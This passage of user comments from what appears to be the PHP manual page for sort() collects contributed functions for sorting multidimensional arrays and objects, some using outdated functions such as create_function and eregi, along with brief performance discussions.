        for($k=0; $k<$c; $k++) {
            $key = $i+($m*$k);
            settype($key,'integer');
            if(array_key_exists($key,$a)) {
                $b[$j] = $a[$key];
                $j++;
            }
        }
    }
    $a = $b;
}

$arr = range('a','z');
array_columns($arr,4);
print_r($arr);

?>

Example:
array(1,2,3,4,5) will be converted to array(1,4,2,5,3);

This can be easy if you want to display an array into a specified number of columns.

<table>
    <tr>
        <td>$arr[0] => 1</td>
        <td>$arr[1] => 4</td>
    </tr>
    <tr>
        <td>$arr[2] => 2</td>
        <td>$arr[3] => 5</td>
    </tr>
    <tr>
        <td>$arr[4] => 3</td>
        <td></td>
    </tr>
</table>
Anonymous 17-Nov-2009 06:10
[EDIT BY danbrown AT php DOT net: The code provided by this anonymous author contains bugfixes for and additions to code originally donated by "toenie" on 07-NOV-09.  The original author included the following note: "If you want to sort while using an 2 dimensional array, you can use this script I just wrote for myself. I thought it could be helpful for other people too."]

I also added the ability to sort in ascending and descending order.

$order = "ASC" will sort the array in ascending order
$order = "DESC" will sort the array in descending order

Here is the code:

<?php
    function order_array_num ($array, $key, $order = "ASC")
    {
        $tmp = array();
        foreach($array as $akey => $array2)
        {
            $tmp[$akey] = $array2[$key];
        }

        if($order == "DESC")
        {arsort($tmp , SORT_NUMERIC );}
        else
        {asort($tmp , SORT_NUMERIC );}

        $tmp2 = array();
        foreach($tmp as $key => $value)
        {
            $tmp2[$key] = $array[$key];
        }

        return $tmp2;
    }
?>
petr dot biza at gmail dot com 11-Sep-2009 06:29
Here is a function to sort an array by the key of his sub-array with keep key in top level.

<?php
function sksort(&$array, $subkey="id", $sort_descending=false, $keep_keys_in_sub = false) {
    $temp_array = $array;

    foreach ($temp_array as $key => &$value) {

      $sort = array();
      foreach ($value as $index => $val) {
          $sort[$index] = $val[$subkey];
      }

      asort($sort);

      $keys = array_keys($sort);
      $newValue = array();
      foreach ($keys as $index) {
        if($keep_keys_in_sub)
            $newValue[$index] = $value[$index];
          else
            $newValue[] = $value[$index];
      }

      if($sort_descending)
        $value = array_reverse($newValue, $keep_keys_in_sub);
      else
        $value = $newValue;
    }

    $array = $temp_array;
  }
?>
phpnet at theindy dot net 27-Aug-2009 10:45
In response to the msort function I find that the array_multisort function is a lot faster.

-John
danm68 at gmail dot com 25-Aug-2009 09:59
sort() used with strings doesn't sort just alphabetically. It sorts all upper-case strings alphabetically first and then sorts lower-case strings alphabetically second.
Just in case anyone was as confused as I was and I've never seen this mentioned anywhere.
otobrglez at gmail dot com 18-Feb-2009 12:45
This will select number of unique keys from array and order them in original order.

<?php
/*
$rows - array of records
$st - number of keys that you want to have

By Oto Brglez.

*/

$pom_k = array();
for($i=0; $i<$st;){
    $pom = array_rand($rows,1);
    if(!in_array($pom,$pom_k)){
        $pom_k[] = $pom;
        $i++;
    };
};
sort($pom_k,SORT_NUMERIC);

?>
stepmuel at ee dot ethz dot ch 09-Dec-2008 08:14
A little shorter way to sort an array of objects; with a callback function.

<?php
function objSort(&$objArray,$indexFunction,$sort_flags=0) {
    $indices = array();
    foreach($objArray as $obj) {
        $indeces[] = $indexFunction($obj);
    }
    return array_multisort($indeces,$objArray,$sort_flags);
}

function getIndex($obj) {
    return $obj->getPosition();
}

objSort($objArray,'getIndex');
?>
jalil at measat dot org 15-Nov-2008 01:48
this is an implementation of the complement of
Matthew Hood's objectSort (http://my.php.net/manual/en/function.sort.php#75036), which i found very convenient for sorting objects.

this does the reverse, it sorts according to the key
selected for the object but in reverse order.
and having both sort methods allows consistency and convenience for sorting objects, if speed isn't your major concern.

the only change ( apart form data being reworded as object )  is the use of < instead of > in the original.
you could of couse incorporate all in one routine, but why
complicate matters.

<?php
    function objectRSort(&$object, $key)
    {
        for ($i = count($object) - 1; $i >= 0; $i--)
        {
          $swapped = false;
          for ($j = 0; $j < $i; $j++)
          {
               if ($object[$j]->$key < $object[$j + 1]->$key)
               {
                    $tmp = $object[$j];
                    $object[$j] = $object[$j + 1];
                    $object[$j + 1] = $tmp;
                    $swapped = true;
               }
          }
          if (!$swapped) return;
        }
    }
?>
lucazd at gmail dot com 26-Sep-2008 01:04
Please, think twice before creating (and posting) your homemade solution for ordering an array by a field.

PHP already has a solution for this; usort, which is about x40 faster than any other solution.

If creating a callback for each case hurts, you can do something like this:

<?php
/**
 * @author Lucas Dománico
 */
class util {
    static private $sortfield = null;
    static private $sortorder = 1;
    static private function sort_callback(&$a, &$b) {
        if($a[self::$sortfield] == $b[self::$sortfield]) return 0;
        return ($a[self::$sortfield] < $b[self::$sortfield])? -self::$sortorder : self::$sortorder;
    }
    static function sort(&$v, $field, $asc=true) {
        self::$sortfield = $field;
        self::$sortorder = $asc? 1 : -1;
        usort($v, array('util', 'sort_callback'));
    }
}

# Usage:
for($i=0; $i<1000 ;$i++) {
  $v[] = array('score'=>rand(1,10000));
}
util::sort($v, 'score');

?>
www at designdetector dot com 09-Sep-2008 07:43
To sort an array of multiple text fields alphabetically you have to make the text lowercase before sorting the array. Otherwise PHP puts acronyms before words. You can see this in my example code. Simply store the original text field at the end of the array line and call it later from there. You can safely ignore the lowercase version which is added to the start of the array line.

<?php
echo '<pre>ORIGINAL DATA:
<br />';

$data = array(
'Saturn|7|8|9|0||',
'Hello|0|1|2|3||',
'SFX|5|3|2|4||',
'HP|9|0|5|6||'
);

print_r($data);

sort($data);
reset($data);

echo '<br />RAW SORT:
<br />';

print_r($data);

for ($c = 0; $c < count($data); $c++) {
    list ($letter,$g1,$g2,$g3,$g4,$end) = explode ('|', $data[$c]);
    $lowercase = strtolower($letter);
    $data2[$c] = array($lowercase,$g1,$g2,$g3,$g4,$letter);
}

sort($data2);
reset($data2);

echo '<br />LOWERCASE SORT:
<br />';

print_r($data2);

echo '</pre>';
?>
matpatnik at hotmail dot com 23-Jan-2008 03:46
This function will sort entity letters eg:&eacute;

I hope that help someone

function sort_entity($array) {
    $total = count($array);
    for ($i=0;$i<$total;$i++) {
        if ($array[$i]{0} == '&') {
            $array[$i] = $array[$i]{1}.$array[$i];
        } else {
            $array[$i] = $array[$i]{0}.$array[$i];
        }
    }
    sort($array);

    for ($i=0;$i<$total;$i++) {
        $array[$i] = substr($array[$i],1);
    }

    return $array;
}
jasons at work dot com 07-Jan-2008 12:25
Update to the msort code posted by: alishahnovin

I had a problem with the msort function not being case sensitive. All capital letters A-Z would list in order then all lowercase letters would follow.

the line:
if ($item[$id]<$array[$lowest_id][$id]) {

was changed to:
if (strtolower($item[$id]) < strtolower($array[$lowest_id][$id])) {

<?php
function msort($array, $id="id", $sort_ascending=true) {
        $temp_array = array();
        while(count($array)>0) {
            $lowest_id = 0;
            $index=0;
            foreach ($array as $item) {
                if (isset($item[$id])) {
                                    if ($array[$lowest_id][$id]) {
                    if (strtolower($item[$id]) < strtolower($array[$lowest_id][$id])) {
                        $lowest_id = $index;
                    }
                    }
                                }
                $index++;
            }
            $temp_array[] = $array[$lowest_id];
            $array = array_merge(array_slice($array, 0,$lowest_id), array_slice($array, $lowest_id+1));
        }
                if ($sort_ascending) {
            return $temp_array;
                } else {
                    return array_reverse($temp_array);
                }
    }
?>
david wh thomas at gm at 1l dot c0m 02-Sep-2007 06:02
Here's a variation on the above function to sort arrays with more than one key by an arbitrary key's value.

This function allows sorting of an array of objects too

<?php
    /**
     * Sorts an array of objects by the value of one of the object properties or array keys
     *
     * @param array $array
     * @param key value $id
     * @param boolean $sort_ascending
     * @param boolean $is_object_array
     * @return array
     */
 function vsort($array, $id="id", $sort_ascending=true, $is_object_array = false) {
        $temp_array = array();
        while(count($array)>0) {
            $lowest_id = 0;
            $index=0;
            if($is_object_array){
                foreach ($array as $item) {
                    if (isset($item->$id)) {
                                        if ($array[$lowest_id]->$id) {
                        if ($item->$id<$array[$lowest_id]->$id) {
                            $lowest_id = $index;
                        }
                        }
                                    }
                    $index++;
                }
            }else{
                foreach ($array as $item) {
                    if (isset($item[$id])) {
                        if ($array[$lowest_id][$id]) {
                        if ($item[$id]<$array[$lowest_id][$id]) {
                            $lowest_id = $index;
                        }
                        }
                                    }
                    $index++;
                }
            }
            $temp_array[] = $array[$lowest_id];
            $array = array_merge(array_slice($array, 0,$lowest_id), array_slice($array, $lowest_id+1));
        }
                if ($sort_ascending) {
            return $temp_array;
                } else {
                    return array_reverse($temp_array);
                }
    }

?>

Sample Usage:

<?php
$nodes = vsort($nodes,'term_data_weight', false, true);
print '<pre>'.print_r($nodes,1).'</pre>';
?>
quirk at qns dot se 22-Jul-2007 05:42
Hi, this is my version of sorting an array by field.

From browsing previous versions it pretty much resembles bluej's version. It's way much faster than the versions where the sorting is made "manually" rather than with native php functions, and I wrote it after trying one of those that kept timing out my scripts if I had 10000 posts.

This one preserves numerical keys as well. So if you want to re-index the array after using it with numerical keys just use the array_values on the result. However there are cases where the key actually means something even if it's a number (id etc) so I didn't want to take it for granted that it should be reindexed.

Cheers
Q

<?php
        function sortArrayByField
        (
            $original,
            $field,
            $descending = false
        )
        {
            $sortArr = array();

            foreach ( $original as $key => $value )
            {
                $sortArr[ $key ] = $value[ $field ];
            }

            if ( $descending )
            {
                arsort( $sortArr );
            }
            else
            {
                asort( $sortArr );
            }

            $resultArr = array();
            foreach ( $sortArr as $key => $value )
            {
                $resultArr[ $key ] = $original[ $key ];
            }

            return $resultArr;
        }
?>
alishahnovin at hotmail dot com 19-Jul-2007 04:16
Someone asked me if the msort I posted below can do a sort by descending... (as it sorts by ascending...smallest to greatest).

It's a simple fix with an extra param, and then an array_reverse...but for the lazy, here you are:

<?php
function msort($array, $id="id", $sort_ascending=true) {
        $temp_array = array();
        while(count($array)>0) {
            $lowest_id = 0;
            $index=0;
            foreach ($array as $item) {
                if (isset($item[$id])) {
                                    if ($array[$lowest_id][$id]) {
                    if ($item[$id]<$array[$lowest_id][$id]) {
                        $lowest_id = $index;
                    }
                    }
                                }
                $index++;
            }
            $temp_array[] = $array[$lowest_id];
            $array = array_merge(array_slice($array, 0,$lowest_id), array_slice($array, $lowest_id+1));
        }
                if ($sort_ascending) {
            return $temp_array;
                } else {
                    return array_reverse($temp_array);
                }
    }
?>

<?php

//oh no, this is not in the ordered by id!!
$data[] = array("item"=>"item 1", "id"=>1);
$data[] = array("item"=>"item 3", "id"=>3);
$data[] = array("item"=>"item 2", "id"=>2);

var_dump(  msort($data, "id", false)  ); //just msort it...greatest to smallest

var_dump(  msort($data, "id")  ); //just msort it...smallest to greatest

/* outputs

array
  0 =>
    array
      'item' => 'item 3' (length=6)
      'id' => 3
  1 =>
    array
      'item' => 'item 2' (length=6)
      'id' => 2
  2 =>
    array
      'item' => 'item 1' (length=6)
      'id' => 1

array
  0 =>
    array
      'item' => 'item 1' (length=6)
      'id' => 1
  1 =>
    array
      'item' => 'item 2' (length=6)
      'id' => 2
  2 =>
    array
      'item' => 'item 3' (length=6)
      'id' => 3

*/

?>
bluej100@gmail 10-Jul-2007 03:03
The sort2d I posted before did nothing by default--that'll teach me to copy-and-paste without thinking. Its sort function has to be associative. I've changed the default to asort. natcasesort does actually work, though.

// $sort used as variable function--can be natcasesort, for example
// WARNING: $sort must be associative
function sort2d( &$arrIn, $index = null, $sort = 'asort') {
  // pseudo-secure--never allow user input into $sort
  if (strpos($sort, 'sort') === false) {$sort = 'asort';}
  $arrTemp = Array();
  $arrOut = Array();

  foreach ( $arrIn as $key=>$value ) {
    $arrTemp[$key] = is_null($index) ? reset($value) : $value[$index];
  }

  $sort($arrTemp);

  foreach ( $arrTemp as $key=>$value ) {
    $arrOut[$key] = $arrIn[$key];
  }

  $arrIn = $arrOut;
}

Also, uasort is probably actually the better solution for most 2d sorting, unless you're sorting by a dozen different indexes.
NBS Studio 04-Jul-2007 01:14
This is my way of sorting files into date modified date order. It worked for me!

$dir='topics';
$ext='php5';
$files=scandir($dir);
foreach($files as $fs){
    if(($fs!='.')&&($fs!='..')){
        $fs1.='¬'.filemtime($dir.'/'.$fs).'#'.$fs;
    }
}
$fs2=split('[¬]',$fs1);
arsort($fs2);
foreach($fs2 as $fs3){
    if(eregi($ext,$fs3)){
        $fs4.='¬'.$fs3;
    }
}
$fs5=split('[#]',$fs4);
foreach($fs5 as $fs6){
    if(eregi($ext,$fs6)){
        $fs7.='¬'.$fs6;
    }
}
$fs8=split('[¬]',$fs7);
foreach($fs8 as $fs9){
    $file_list.=$fs9.'
</br>';
}

print $file_list;
sinan at sinaneldem dot com 23-Jun-2007 08:29
here is little script which will merge arrays, remove duplicates and sort it by alphabetical order:

<?php

$array1 = array('apple', 'banana','pear');
$array2 = array('grape', 'pear','orange');

function array_unique_merge_sort($array1, $array2){
$array = array_unique(array_merge($array1, $array2));
sort($array);
foreach ($array as $key => $value) {
    $new[$key] = $value;
}
return $new;
}

print_r (array_unique_merge_sort($array1, $array2));

?>

this will print out:

Array ( [0] => apple [1] => banana [2] => grape [3] => orange [4] => pear )
bluej100@gmail 07-Jun-2007 03:05
One more solution for multidimensional sort: variable functions.

<?php
// $sort used as variable function--can be natcasesort, for example
  function sort2d( &$arrIn, $index = null, $sort = 'sort') {
    // pseudo-secure--never allow user input into $sort
    if (strpos($sort, 'sort') === false) {$sort = 'sort';}
    $arrTemp = Array();
    $arrOut = Array();

    foreach ( $arrIn as $key=>$value ) {
      reset($value);
      $arrTemp[$key] = is_null($index) ? current($value) : $value[$index];
    }

    $sort($arrTemp);

    foreach ( $arrTemp as $key=>$value ) {
      $arrOut[$key] = $arrIn[$key];
    }

    $arrIn = $arrOut;
  }
?>

It appears to me that there are only two algorithms being proposed here (several times each):

1) copy into temp, pass temp to sort function, re-order by temp
2) implement search function in PHP

I'm curious whether anyone's implementation of (2) can beat (1) for speed. Someone have a fast PHP mergesort they can benchmark against this one? Obviously, the fact that the (1) solutions use at least two, possibly three times the memory is a drawback, but I expect that for most of us, speed is significantly more important than memory. Maybe I'll check it myself when I have a minute.
alishahnovin at hotmail dot com 28-May-2007 10:29
Here's my fixed up msort array. What it does is goes through a multidimensional array, and sorts it by the desired key (defaulting to 'id').

So, for example, if you have an array like:

array[0]['value'] = "statement 2"
array[0]['id'] = "2"
array[1]['value'] = "statement 3"
array[1]['id'] = "3"
array[2]['value'] = "statement 1"
array[2]['id'] = "1"

it would rearrange and return the array to be like:

array[0]['value'] = "statement 1"
array[0]['id'] = "1"
array[1]['value'] = "statement 2"
array[1]['id'] = "2"
array[2]['value'] = "statement 3"
array[2]['id'] = "3"

The 'id' index can start at any point, and any array item missing the id index will be added to the end.

<?php
function msort($array, $id="id") {
        $temp_array = array();
        while(count($array)>0) {
            $lowest_id = 0;
            $index=0;
            foreach ($array as $item) {
                if (isset($item[$id]) && $array[$lowest_id][$id]) {
                    if ($item[$id]<$array[$lowest_id][$id]) {
                        $lowest_id = $index;
                    }
                }
                $index++;
            }
            $temp_array[] = $array[$lowest_id];
            $array = array_merge(array_slice($array, 0,$lowest_id), array_slice($array, $lowest_id+1));
        }
        return $temp_array;
    }
?>

Ex:

<?php

//oh no, this is not in the ordered by id!!
$data[] = array("item"=>"item 4");
$data[] = array("item"=>"item 1", "id"=>1);
$data[] = array("item"=>"item 3", "id"=>3);
$data[] = array("item"=>"item 2", "id"=>2);

var_dump(  msort($data)  ); //just msort it!

/* outputs

array
  0 =>
    array
      'item' => 'item 1' (length=6)
      'id' => 1
  1 =>
    array
      'item' => 'item 2' (length=6)
      'id' => 2
  2 =>
    array
      'item' => 'item 3' (length=6)
      'id' => 3
  3 =>
    array
      'item' => 'item 4' (length=6)

*/

?>
alishahnovin at hotmail dot com 25-May-2007 04:11
I had a multidimensional array, which needed to be sorted by one of the keys. This is what I came up with...

<?php
function msort($array, $id="id") {
        $temp_array = array();
        while(count($array)>0) {
            $lowest_id = 0;
            $index=0;
            foreach ($array as $item) {
                if ($item[$id]<$array[$lowest_id][$id]) {
                    $lowest_id = $index;
                }
                $index++;
            }
            $temp_array[] = $array[$lowest_id];
            $array = array_merge(array_slice($array, 0,$lowest_id), array_slice($array, $lowest_id+1));
        }
        return $temp_array;
    }
?>

Ex:

<?php

//oh no, this is not in the ordered by id!!
$data[] = array("item"=>"item 4", "id"=>4);
$data[] = array("item"=>"item 1", "id"=>1);
$data[] = array("item"=>"item 3", "id"=>3);
$data[] = array("item"=>"item 2", "id"=>2);

var_dump(  msort($data)  ); //just msort it!

/* outputs

array
  0 =>
    array
      'item' => 'item 1' (length=6)
      'id' => 1
  1 =>
    array
      'item' => 'item 2' (length=6)
      'id' => 2
  2 =>
    array
      'item' => 'item 3' (length=6)
      'id' => 3
  3 =>
    array
      'item' => 'item 4' (length=6)
      'id' => 4

*/

?>
(Qube#php@Efnet) 14-May-2007 03:38
How to use an anonymous array to sort any associative array by an arbitrary key (or nested key):

$order = -1; # -1 = Ascending. Use 1 for descending.
$sortby = "['key1']['subkey']";
$mysort = create_function('$a,$b', "\$a1=\$a$sortby;\$b1=\$b$sortby; if (\$a1==\$b1) return 0; else return (\$a1<\$b1) ? $order : 0- $
order;");
uasort($assocarray, $mysort);

You can use this in a recursive function if necessary (which is why I developed it).
Matthew Hood 09-May-2007 07:27
The bubble sort below will sort an array of objects based on any one of the values contained in them.

usage: objectSort($details, 'percent');

function objectSort(&$data, $key)
{
    for ($i = count($data) - 1; $i >= 0; $i--)
    {
      $swapped = false;
      for ($j = 0; $j < $i; $j++)
      {
           if ($data[$j]->$key > $data[$j + 1]->$key)
           {
                $tmp = $data[$j];
                $data[$j] = $data[$j + 1];
                $data[$j + 1] = $tmp;
                $swapped = true;
           }
      }
      if (!$swapped) return;
    }
}
y5 at yellow5 dot us 15-Mar-2007 06:52
An improvement on the very nice code submitted by alex [at] vkpb [dot] com. This will preserve the keys if the array is numeric:

function SortDataSet($aArray, $sField, $bDescending = false)
{
    $bIsNumeric = IsNumeric($aArray);
    $aKeys = array_keys($aArray);
    $nSize = sizeof($aArray);

    for ($nIndex = 0; $nIndex < $nSize - 1; $nIndex++)
    {
        $nMinIndex = $nIndex;
        $objMinValue = $aArray[$aKeys[$nIndex]][$sField];
        $sKey = $aKeys[$nIndex];

        for ($nSortIndex = $nIndex + 1; $nSortIndex < $nSize; ++$nSortIndex)
        {
            if ($aArray[$aKeys[$nSortIndex]][$sField] < $objMinValue)
            {
                $nMinIndex = $nSortIndex;
                $sKey = $aKeys[$nSortIndex];
                $objMinValue = $aArray[$aKeys[$nSortIndex]][$sField];
            }
        }

        $aKeys[$nMinIndex] = $aKeys[$nIndex];
        $aKeys[$nIndex] = $sKey;
    }

    $aReturn = array();
    for($nSortIndex = 0; $nSortIndex < $nSize; ++$nSortIndex)
    {
        $nIndex = $bDescending ? $nSize - $nSortIndex - 1: $nSortIndex;
        $aReturn[$aKeys[$nIndex]] = $aArray[$aKeys[$nIndex]];
    }

    return $bIsNumeric ? array_values($aReturn) : $aReturn;
}

function IsNumeric($aArray)
{
    $aKeys = array_keys($aArray);
    for ($nIndex = 0; $nIndex < sizeof($aKeys); $nIndex++)
    {
        if (!is_int($aKeys[$nIndex]) || ($aKeys[$nIndex] != $nIndex))
        {
            return false;
        }
    }

    return true;
}
joris at mangrove dot nl 01-Feb-2007 05:40
Commenting on note http://www.php.net/manual/en/function.sort.php#62311 :

Sorting an array of objects will not always yield the results you desire.

As pointed out correctly in the note above, sort() sorts the array by value of the first member variable. However, you can not always assume the order of your member variables! You must take into account your class hierarchy!

By default, PHP places the inherited member variables on top, meaning your first member variable is NOT the first variable in your class definition!
However, if you use code analyzers or a compile cache, things can be very different. E.g., in eAccelerator, the inherited member variables are at the end, meaning you get different sort results with caching on or off.

Conclusion:
Never use sort on arrays with values of a type other than scalar or array.
alex [at] vkpb [dot] com 26-Jan-2007 03:36
Sorting of an array by a method of inserts.

<?

       function sortByField($multArray,$sortField,$desc=true){
            $tmpKey='';
            $ResArray=array();

            $maIndex=array_keys($multArray);
            $maSize=count($multArray)-1;

            for($i=0; $i < $maSize ; $i++) {

               $minElement=$i;
               $tempMin=$multArray[$maIndex[$i]][$sortField];
               $tmpKey=$maIndex[$i];

                for($j=$i+1; $j <= $maSize; $j++)
                  if($multArray[$maIndex[$j]][$sortField] < $tempMin ) {
                     $minElement=$j;
                     $tmpKey=$maIndex[$j];
                     $tempMin=$multArray[$maIndex[$j]][$sortField];

                  }
                  $maIndex[$minElement]=$maIndex[$i];
                  $maIndex[$i]=$tmpKey;
            }

           if($desc)
               for($j=0;$j<=$maSize;$j++)
                  $ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];
           else
              for($j=$maSize;$j>=0;$j--)
                  $ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];

           return $ResArray;
       }

// make array
$array['aaa']=array("name"=>"vasia","order"=>1);
$array['bbb']=array("name"=>"petia","order"=>2);
$array['ccc']=array("name"=>"kolia","order"=>3);
$array['ddd']=array("name"=>"zenia","order"=>4);

// set sort
$SortOrder=0; // desc by default , 1- asc

var_dump(sortByField($array,'order',$SortOrder));

array
  'ddd' =>
    array
      'name' => 'zenia' (length=5)
      'order' => 4
  'aaa' =>
    array
      'name' => 'vasia' (length=5)
      'order' => 1
  'bbb' =>
    array
      'name' => 'petia' (length=5)
      'order' => 2
  'ccc' =>
    array
      'name' => 'kolia' (length=5)
      'order' => 3

?>
crudo at pinknet dot cz 28-Nov-2006 05:54
Simple way, how to sort an array without loosing keys:

<?php

$sizes = $bad = $good = array("d" => "dddd", "a" => "aaaa", "c" => "cccc", "e" => "eeee", "b" => "bbbb");

// original
print_r($sizes);

/*
Array
(
    [d] => dddd
    [a] => aaaa
    [c] => cccc
    [e] => eeee
    [b] => bbbb
)
*/

// bad way
sort($bad);
print_r($bad);

/*
Array
(
    [0] => aaaa
    [1] => bbbb
    [2] => cccc
    [3] => dddd
    [4] => eeee
)
*/

// good way
$good=array_flip($good);
ksort($good);
$good=array_flip($good);

print_r($good);

/*
Array
(
    [a] => aaaa
    [b] => bbbb
    [c] => cccc
    [d] => dddd
    [e] => eeee
)
*/

?>
eran dot liberty at gmail dot com 15-Nov-2006 07:24
/**
 * Will sort an array by the value of the applied lambda function to each element
 * without loosing the keys!
 * @param unknown_type $arr
 * @param unknown_type $func of the form mixvar func(your object)
 */
function sortByFunc(&$arr, $func) {
        $tmpArr = array();
        foreach ($arr as $k => &$e) {
            $tmpArr[] = array('f' => $func($e), 'k' => $k, 'e' =>&$e);
        }
        sort($tmpArr);
        $arr = array();
        foreach($tmpArr as &$fke) {
            $arr[$fke['k']] = &$fke['e'];
        }
}

example:
$arr = array(
    1 => array('name' => 'eran', 'age' => 30),
    2 => array('name' => 'naama', 'age' => 29),
    3 => array('name' => 'a', 'age' => 11),
    4 => array('name' => 'b', 'age' => 51),
    5 => array('name' => 'z', 'age' => 5),
);
foreach($arr as $key => $val) {
    echo "<br> $key => (" . $val['name'] . " ," . $val['age'] . ")";
}
sortByFunc($arr,create_function('$element','return $element["age"];'));
echo "<br> now sorted:";
foreach($arr as $key => $val) {
    echo "<br> $key => (" . $val['name'] . " ," . $val['age'] . ")";
}
output:
1 => (eran ,30)
2 => (naama ,29)
3 => (a ,11)
4 => (b ,51)
5 => (z ,5)
now sorted:
5 => (z ,5)
3 => (a ,11)
2 => (naama ,29)
1 => (eran ,30)
4 => (b ,51)
memzap at gmail dot com 21-Jul-2006 10:31
Here is how you would open a file, and put each line into an array. This sorts by the first field $title field.  The next thing I would like to figure out is how to do this same sort but with the ability to skip the first word of the title. Like if the title has an "a" or "the" it would skip that portion of the sort.

$currentfile = "file.txt";
$fp = fopen( $currentfile, "r" ) or die("Couldn't open $currentfile");
while ( ! feof( $fp ) ) {
    $line[] = fgets( $fp, 1024 );

    foreach ( $line as $newarray ) {
}
    $newline[] = trim($newarray);
    sort($newline);
    list($title1, $titleurl1, $rating1) = split ('\|',
$newline[0]);
    list($title2, $titleurl2, $rating2) = split ('\|',
$newline[1]);
    list($title3, $titleurl3, $rating3) = split ('\|',
$newline[2]);
    list($title4, $titleurl4, $rating4) = split ('\|',
$newline[3]);
g8z at yahoo dot com 14-Jul-2006 04:28
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

For example:

$a = array();

$a []= array(
    'name'         => 'Sam',
    'age'         => 23,
    'hire_date'    => '2004-01-01'
);
$a []= array(
    'name'        => 'Sam',
    'age'        => 44,
    'hire_date'    => '2003-03-23'
);
$a []= array(
    'name'        => 'Jenny',
    'age'        => 20,
    'hire_date' => '2000-12-31'
);
$a []= array(
    'name'        => 'Samantha',
    'age'        => 50,
    'hire_date' => '2000-12-14'
);

$sticky_fields = array( 'name' );
print_r( stickysort( $a, 'age', DESC_NUM, $sticky_fields ) );

OUTPUT:

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 44
            [hire_date] => 2003-03-23
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 23
            [hire_date] => 2004-01-01
        )
    [2] => Array
        (
            [name] => Jenny
            [age] => 20
            [hire_date] => 2000-12-31
        )
    [3] => Array
        (
            [name] => Samantha
            [age] => 50
            [hire_date] => 2000-12-14
        )
)

Here's why this is the correct output - the "name" field is sticky, so it cannot change its sort order. Thus, the "age" field is only sorted as a sub-sort within records where "name" is identical. Thus, the "Sam" records are reversed, because 44 > 23, but Samantha remains at the bottom, even though her age is 50. This is a way of achieving "sub-sorts" and "sub-sub-sorts" (and so on) within records of identical data for specific fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
g8z at yahoo dot com 10-Jul-2006 08:58
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
g8z at yahoo dot com 10-Jul-2006 08:57
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
